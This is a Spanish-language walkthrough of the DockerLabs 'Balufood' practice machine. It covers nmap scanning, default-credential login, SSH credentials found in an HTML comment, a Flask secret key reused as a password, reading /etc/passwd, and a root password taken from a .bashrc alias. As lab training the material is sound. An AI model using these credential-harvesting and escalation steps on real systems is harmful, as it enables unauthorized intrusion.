Balufood DockerLabs (Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip balufood.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh balufood.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-05 11:51 EDT
Nmap scan report for 172.17.0.2
Host is up (0.000079s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 69:15:7d:34:74:1c:21:8a:cb:2c:a2:8c:42:a4:21:7f (ECDSA)
|_  256 a7:3a:c9:b2:ac:cf:44:77:a7:9c:ab:89:98:c7:88:3f (ED25519)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
|_http-title: Restaurante Balulero - Inicio
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.83 seconds

Veremos que hay un puerto 5000 abierto, en el que se aloja una pagina web, si entramos dentro veremos una pagina web de un restaurante normal, pero si nos vamos a Ver carta -> Admin veremos un login, por lo que vamos a probar las credenciales por defecto tipicas:

User: admin
Pass: admin

Veremos que si nos autenticamos, pero no veremos gran cosa por fuera, si probamos a inspeccionar el codigo veremos lo siguiente:

<!-- Backup de acceso: sysadmin:backup123 -->

Podemos ver que pueden ser unas credenciales para el puerto SSH por lo que vamos a probar ha realizar lo siguiente:

ssh sysadmin@<IP>

Metemos como contraseña backup123 y veremos que estamos dentro.

Escalate user balulero

Si listamos la carpeta en la que nos encontramos de la home de dicho usuario y leemos el archivo app.py para inspeccionar el codigo veremos lo siguiente al principio:

from flask import Flask, render_template, redirect, url_for, request, session, flash
import sqlite3
from functools import wraps

app = Flask(__name__)
app.secret_key = 'cuidaditocuidadin'
DATABASE = 'restaurant.db'
...........................<RESTO DE CODIGO>......................................

Veremos que hay una clave secreta la cual puede ser la contraseña de uno de los usuarios del sistema:

cat /etc/passwd | grep "/bin/bash"

Info:

root:x:0:0:root:/root:/bin/bash
sysadmin:x:1000:1000:sysadmin,sysadmin,,:/home/sysadmin:/bin/bash
balulero:x:1001:1001:balulero,,,:/home/balulero:/bin/bash

Vamos a probar con balulero de la siguiente forma:

su balulero

Metemos como contraseña cuidaditocuidadin y veremos que estaremos dentro.

Escalate Privileges

Si leemos de la home de dicho usuario el archivo .bashrc y veremos lo siguiente:

cat ~/.bashrc

Info:

...........................<RESTO DE CODIGO>.....................................

alias ser-root='echo chocolate2 | su - root'

Veremos que esta pasando como contraseña chocolate2 para loguearse con root por lo que vamos a probar dicha contraseña a ver si funciona.

su root

Metemos como contraseña chocolate2.

root@a064182c909b:~# whoami
root

Veremos que seremos el usuario root, por lo que habremos terminado la maquina.

Last updated